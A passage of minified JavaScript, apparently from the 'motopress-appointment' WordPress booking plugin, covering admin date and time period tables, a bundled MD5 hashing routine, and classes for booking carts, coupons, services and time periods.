s{constructor(e){super(e),this.$table=this.$element.children(\"table\"),this.$tableBody=this.$table.children(\"tbody\"),this.$noItemsRow=this.$tableBody.children(\".no-items\"),this.$newPeriodRow=this.$tableBody.children(\".mpa-new-period\"),this.timeSelects=this.$newPeriodRow.find(\".mpa-period\"),this.$startTimeHoursInput=this.$newPeriodRow.find(\".mpa-period__start-hours\"),this.$startTimeMinutesInput=this.$newPeriodRow.find(\".mpa-period__start-minutes\"),this.$endTimeHoursInput=this.$newPeriodRow.find(\".mpa-period__end-hours\"),this.$endTimeMinutesInput=this.$newPeriodRow.find(\".mpa-period__end-minutes\"),this.$timeAllDayInput=this.$newPeriodRow.find(\".mpa-period__all-day\"),this.baseName=this.$element.attr(\"data-base-name\"),this.datepicker=null,this.periods={length:0,add:function(e,t){let i=null==this[e];this[e]=t,i&&this.length++},remove:function(e){null!=this[e]&&(delete this[e],this.length--)},hasItems:function(){return this.length>0}},this.parseInitialState(),this.addListeners()}parseInitialState(){this.$tableBody.children(\":not(.no-items, .mpa-new-period)\").each(((e,t)=>{let i=t.getAttribute(\"data-id\"),s=jQuery(t).find(\".column-actions > input\").val();this.periods.add(i,s)}))}initDatepicker(){this.datepicker=v(this.$tableBody.find(\".mpa-new-period > .column-dates > input\"),{mode:\"range\"})}addListeners(){this.$timeAllDayInput.on(\"change\",(e=>{e.target.checked?this.timeSelects.hide():this.timeSelects.show()})),this.$table.find(\"thead .mpa-add-button\").on(\"click\",(()=>{this.toggleEdit()})),this.$tableBody.find(\".mpa-add-button\").on(\"click\",(()=>{this.onAdd()}));let e=this;this.$tableBody.find(\".mpa-remove-button\").on(\"click\",(function(){e.removePeriodByParent(this)}))}toggleEdit(){this.$newPeriodRow.hasClass(\"mpa-hide\")?(this.$newPeriodRow.removeClass(\"mpa-hide\"),null==this.datepicker?this.initDatepicker():this.datepicker.clear()):this.$newPeriodRow.addClass(\"mpa-hide\")}addPeriod(e,t,i,s){let a=e+\", \"+t,r=C(),n=this.renderPeriod(r,e,t,i,s);jQuery(n).insertAfter(this.$newPeriodRow),this.periods.add(r,a);let o=this.$tableBody.find('[data-id=\"'+r+'\"] .mpa-remove-button'),l=this;o.on(\"click\",(function(){l.removePeriodByParent(this)})),this.toggleEdit(),this.$noItemsRow.addClass(\"mpa-hide\")}renderPeriod(e,t,i,s,a){let r=t+\", \"+i,n=\"\";return n+='\u003Ctr class=\"mpa-period\" data-id=\"'+e+'\">',n+='\u003Ctd class=\"column-dates mpa-badge-new\">',n+=s,n+=\"\u003C\u002Ftd>\",n+='\u003Ctd class=\"column-time mpa-badge-new\">',n+=a,n+=\"\u003C\u002Ftd>\",n+='\u003Ctd class=\"column-actions\">',n+='\u003Cinput type=\"hidden\" name=\"'+this.baseName+'[]\" value=\"'+r+'\">',n+=B(c(\"Remove\",\"motopress-appointment\"),{class:\"button button-secondary mpa-remove-button\"}),n+=\"\u003C\u002Ftd>\",n+=\"\u003C\u002Ftr>\",n}getStartTime(){let e=0;return this.$timeAllDayInput.prop(\"checked\")||(e=60*parseInt(this.$startTimeHoursInput.val())+parseInt(this.$startTimeMinutesInput.val())),e}getEndTime(){let e=0;return this.$timeAllDayInput.prop(\"checked\")||(e=60*parseInt(this.$endTimeHoursInput.val())+parseInt(this.$endTimeMinutesInput.val())),e}onAdd(){let e=this.getStartTime(),t=this.getEndTime();if(!(this.datepicker.selectedDates.length>=2)||e===t&&0!==t||e>t&&0!==t)return;let i=this.datepicker.selectedDates[0],s=this.datepicker.selectedDates[1],a=m(i,\"internal\")+\" - \"+m(s,\"internal\"),r=F(i,s,\"short\"),n=x(e,\"internal\")+\" - \"+x(t,\"internal\"),o=x(e)+\" - \"+x(t);0===e&&0===e&&e===t&&(o=c(\"All day\",\"motopress-appointment\")),this.addPeriod(a,n,r,o)}removePeriodByParent(e){let t=jQuery(e).parents(\"tr.mpa-period\");if(0==t.length)return;let i=t.attr(\"data-id\");this.periods.remove(i),this.periods.hasItems()||this.$noItemsRow.removeClass(\"mpa-hide\"),t.remove()}}class K extends s{constructor(e){super(e),this.$table=this.$element.children(\"table\"),this.$tableBody=this.$table.children(\"tbody\"),this.$noItemsRow=this.$tableBody.children(\".no-items\"),this.$newPeriodRow=this.$tableBody.children(\".mpa-new-period\"),this.baseName=this.$element.attr(\"data-base-name\"),this.datepicker=null,this.periods={length:0,add:function(e,t){let i=null==this[e];this[e]=t,i&&this.length++},remove:function(e){null!=this[e]&&(delete this[e],this.length--)},hasItems:function(){return this.length>0}},this.parseInitialState(),this.addListeners()}parseInitialState(){this.$tableBody.children(\":not(.no-items, .mpa-new-period)\").each(((e,t)=>{let i=t.getAttribute(\"data-id\"),s=jQuery(t).find(\".column-actions > input\").val();this.periods.add(i,s)}))}initDatepicker(){this.datepicker=v(this.$tableBody.find(\".mpa-new-period > .column-dates > input\"),{mode:\"range\",showMonths:2})}addListeners(){let e=this;this.$table.find(\"thead .mpa-add-button\").on(\"click\",(()=>{this.toggleEdit()})),this.$tableBody.find(\".mpa-add-button\").on(\"click\",(()=>{this.onAdd()})),this.$tableBody.find(\".mpa-remove-button\").on(\"click\",(function(){e.removePeriodByParent(this)}))}toggleEdit(){this.$newPeriodRow.hasClass(\"mpa-hide\")?(this.$newPeriodRow.removeClass(\"mpa-hide\"),null==this.datepicker?this.initDatepicker():this.datepicker.clear()):this.$newPeriodRow.addClass(\"mpa-hide\")}addPeriod(e,t){let i=C(),s=this.renderPeriod(i,e,t);jQuery(s).insertAfter(this.$newPeriodRow),this.periods.add(i,e);let a=this.$tableBody.find('[data-id=\"'+i+'\"] .mpa-remove-button'),r=this;a.on(\"click\",(function(){r.removePeriodByParent(this)})),this.toggleEdit(),this.$noItemsRow.addClass(\"mpa-hide\")}renderPeriod(e,t,i){let s=\"\";return s+='\u003Ctr class=\"mpa-period\" data-id=\"'+e+'\">',s+='\u003Ctd class=\"column-dates mpa-badge-new\">',s+=i,s+=\"\u003C\u002Ftd>\",s+='\u003Ctd class=\"column-actions\">',s+='\u003Cinput type=\"hidden\" name=\"'+this.baseName+'[]\" value=\"'+t+'\">',s+=B(c(\"Remove\",\"motopress-appointment\"),{class:\"button button-secondary mpa-remove-button\"}),s+=\"\u003C\u002Ftd>\",s+=\"\u003C\u002Ftr>\",s}onAdd(){if(this.datepicker.selectedDates.length\u003C2)return;let e=this.datepicker.selectedDates[0],t=this.datepicker.selectedDates[1],i=m(e,\"internal\")+\" - \"+m(t,\"internal\"),s=F(e,t,\"short\");this.addPeriod(i,s)}removePeriodByParent(e){let t=jQuery(e).parents(\"tr.mpa-period\");if(0==t.length)return;let i=t.attr(\"data-id\");this.periods.remove(i),this.periods.hasItems()||this.$noItemsRow.removeClass(\"mpa-hide\"),t.remove()}}function Y(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var q,J,G={exports:{}},X={exports:{}};q=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",J={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&J.rotl(e,8)|4278255360&J.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=J.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],i=0,s=0;i\u003Ce.length;i++,s+=8)t[s>>>5]|=e[i]\u003C\u003C24-s%32;return t},wordsToBytes:function(e){for(var t=[],i=0;i\u003C32*e.length;i+=8)t.push(e[i>>>5]>>>24-i%32&255);return t},bytesToHex:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push((e[i]>>>4).toString(16)),t.push((15&e[i]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],i=0;i\u003Ce.length;i+=2)t.push(parseInt(e.substr(i,2),16));return t},bytesToBase64:function(e){for(var t=[],i=0;i\u003Ce.length;i+=3)for(var s=e[i]\u003C\u003C16|e[i+1]\u003C\u003C8|e[i+2],a=0;a\u003C4;a++)8*i+6*a\u003C=8*e.length?t.push(q.charAt(s>>>6*(3-a)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],i=0,s=0;i\u003Ce.length;s=++i%4)0!=s&&t.push((q.indexOf(e.charAt(i-1))&Math.pow(2,-2*s+8)-1)\u003C\u003C2*s|q.indexOf(e.charAt(i))>>>6-2*s);return t}},X.exports=J;var Z=X.exports,ee={utf8:{stringToBytes:function(e){return ee.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape(ee.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push(255&e.charCodeAt(i));return t},bytesToString:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push(String.fromCharCode(e[i]));return t.join(\"\")}}},te=ee,ie=function(e){return null!=e&&(se(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&se(e.slice(0,0))}(e)||!!e._isBuffer)};function se(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=Z,t=te.utf8,i=ie,s=te.bin,a=function(r,n){r.constructor==String?r=n&&\"binary\"===n.encoding?s.stringToBytes(r):t.stringToBytes(r):i(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,d=-1732584194,p=271733878,u=0;u\u003Co.length;u++)o[u]=16711935&(o[u]\u003C\u003C8|o[u]>>>24)|4278255360&(o[u]\u003C\u003C24|o[u]>>>8);o[l>>>5]|=128\u003C\u003Cl%32,o[14+(l+64>>>9\u003C\u003C4)]=l;var m=a._ff,g=a._gg,y=a._hh,v=a._ii;for(u=0;u\u003Co.length;u+=16){var f=h,b=c,S=d,$=p;h=m(h,c,d,p,o[u+0],7,-680876936),p=m(p,h,c,d,o[u+1],12,-389564586),d=m(d,p,h,c,o[u+2],17,606105819),c=m(c,d,p,h,o[u+3],22,-1044525330),h=m(h,c,d,p,o[u+4],7,-176418897),p=m(p,h,c,d,o[u+5],12,1200080426),d=m(d,p,h,c,o[u+6],17,-1473231341),c=m(c,d,p,h,o[u+7],22,-45705983),h=m(h,c,d,p,o[u+8],7,1770035416),p=m(p,h,c,d,o[u+9],12,-1958414417),d=m(d,p,h,c,o[u+10],17,-42063),c=m(c,d,p,h,o[u+11],22,-1990404162),h=m(h,c,d,p,o[u+12],7,1804603682),p=m(p,h,c,d,o[u+13],12,-40341101),d=m(d,p,h,c,o[u+14],17,-1502002290),h=g(h,c=m(c,d,p,h,o[u+15],22,1236535329),d,p,o[u+1],5,-165796510),p=g(p,h,c,d,o[u+6],9,-1069501632),d=g(d,p,h,c,o[u+11],14,643717713),c=g(c,d,p,h,o[u+0],20,-373897302),h=g(h,c,d,p,o[u+5],5,-701558691),p=g(p,h,c,d,o[u+10],9,38016083),d=g(d,p,h,c,o[u+15],14,-660478335),c=g(c,d,p,h,o[u+4],20,-405537848),h=g(h,c,d,p,o[u+9],5,568446438),p=g(p,h,c,d,o[u+14],9,-1019803690),d=g(d,p,h,c,o[u+3],14,-187363961),c=g(c,d,p,h,o[u+8],20,1163531501),h=g(h,c,d,p,o[u+13],5,-1444681467),p=g(p,h,c,d,o[u+2],9,-51403784),d=g(d,p,h,c,o[u+7],14,1735328473),h=y(h,c=g(c,d,p,h,o[u+12],20,-1926607734),d,p,o[u+5],4,-378558),p=y(p,h,c,d,o[u+8],11,-2022574463),d=y(d,p,h,c,o[u+11],16,1839030562),c=y(c,d,p,h,o[u+14],23,-35309556),h=y(h,c,d,p,o[u+1],4,-1530992060),p=y(p,h,c,d,o[u+4],11,1272893353),d=y(d,p,h,c,o[u+7],16,-155497632),c=y(c,d,p,h,o[u+10],23,-1094730640),h=y(h,c,d,p,o[u+13],4,681279174),p=y(p,h,c,d,o[u+0],11,-358537222),d=y(d,p,h,c,o[u+3],16,-722521979),c=y(c,d,p,h,o[u+6],23,76029189),h=y(h,c,d,p,o[u+9],4,-640364487),p=y(p,h,c,d,o[u+12],11,-421815835),d=y(d,p,h,c,o[u+15],16,530742520),h=v(h,c=y(c,d,p,h,o[u+2],23,-995338651),d,p,o[u+0],6,-198630844),p=v(p,h,c,d,o[u+7],10,1126891415),d=v(d,p,h,c,o[u+14],15,-1416354905),c=v(c,d,p,h,o[u+5],21,-57434055),h=v(h,c,d,p,o[u+12],6,1700485571),p=v(p,h,c,d,o[u+3],10,-1894986606),d=v(d,p,h,c,o[u+10],15,-1051523),c=v(c,d,p,h,o[u+1],21,-2054922799),h=v(h,c,d,p,o[u+8],6,1873313359),p=v(p,h,c,d,o[u+15],10,-30611744),d=v(d,p,h,c,o[u+6],15,-1560198380),c=v(c,d,p,h,o[u+13],21,1309151649),h=v(h,c,d,p,o[u+4],6,-145523070),p=v(p,h,c,d,o[u+11],10,-1120210379),d=v(d,p,h,c,o[u+2],15,718787259),c=v(c,d,p,h,o[u+9],21,-343485551),h=h+f>>>0,c=c+b>>>0,d=d+S>>>0,p=p+$>>>0}return e.endian([h,c,d,p])};a._ff=function(e,t,i,s,a,r,n){var o=e+(t&i|~t&s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._gg=function(e,t,i,s,a,r,n){var o=e+(t&s|i&~s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._hh=function(e,t,i,s,a,r,n){var o=e+(t^i^s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._ii=function(e,t,i,s,a,r,n){var o=e+(i^(t|~s))+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,G.exports=function(t,i){if(null==t)throw new Error(\"Illegal argument \"+t);var r=e.wordsToBytes(a(t,i));return i&&i.asBytes?r:i&&i.asString?s.bytesToString(r):e.bytesToHex(r)}}();var ae=Y(G.exports);class re{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?m(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?m(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&m(this.date,\"internal\")==m(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(E(t.minCapacity,t.maxCapacity));return k(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return ae(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let ne=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let i=!this.includesKey(e);return this.values[e]=t,i&&(this.keys.push(e),this.length++),i}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let i=this.findNextKey(e);return\"\"!==i?this.values[i]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let i=t+1;return i\u003Cthis.length?this.keys[i]:this.keys[t]}findPrevious(e,t=null){let i=this.findPreviousKey(e);return\"\"!==i?this.values[i]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let i=t-1;return i>=0?this.keys[i]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let i=this.keys.indexOf(e);return this.keys.splice(i,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let i of this.keys){let s=this.values[i][e];null!=s&&(Array.isArray(s)?t=t.concat(s):t.push(s))}return k(t)}forEach(e){let t=0;for(let i of this.keys){let s=e(this.values[i],t,i,this);if(t++,!1===s)break}}map(e){let t=[],i=0;for(let s of this.keys)t.push(e(this.values[s],i,s,this)),i++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}};class oe{setupProperties(){this.items=new ne,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=C());let t=new re(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let i of e)t+=i.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let i=t.getPrice();this.hasCoupon()&&(i-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(i)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),h().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return ae(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||y()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=k(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class le{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class he extends le{setupProperties(){super.setupProperties(),this.name=\"\"}}class ce extends le{setupProperties(){super.setupProperties(),this.name=\"\"}}class de extends le{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let i=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(i*=t),i}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,i){return t in this.variations?this.variations[t][e]:i}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():c(\"Clients\",\"motopress-appointment\")}}class pe{static loadInBackground(e,t,i=!1){return t.findById(e.id,i).then((t=>{if(null!==t)for(let i in t)e[i]=t[i];return t}))}}class ue extends le{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let i=e[t];null!=i&&\"\"!==i&&(this[t]=g(i)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let i=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=i*this.amount\u002F100}t=Math.min(t,i)}return t}}class me{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let i=this.mapRestDataToEntity(t);return this.saveEntity(e,i),i}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let i=[],s=[];for(let a of e)this.haveEntity(a)&&!t?s.push(this.getEntity(a)):i.push(a);return 0===i.length?Promise.resolve(s):this.requestEntities(i).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),s.push(e)}return s}),(e=>[]))}requestEntity(e){return n(this.getRoute(),{id:e})}requestEntities(e){return n(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class ge extends me{findByCode(e,t=!1){return n(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new ue(e.id,e)}}class ye{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?M(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?M(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new ye(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new ye(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let i=\"short\"==e?\"public\":e,s=A(this.startTime,i),a=A(this.endTime,i);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&s===a?c(\"All day\",\"motopress-appointment\"):\"short\"==e&&s==a?s:s+t+a}}class ve extends le{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof 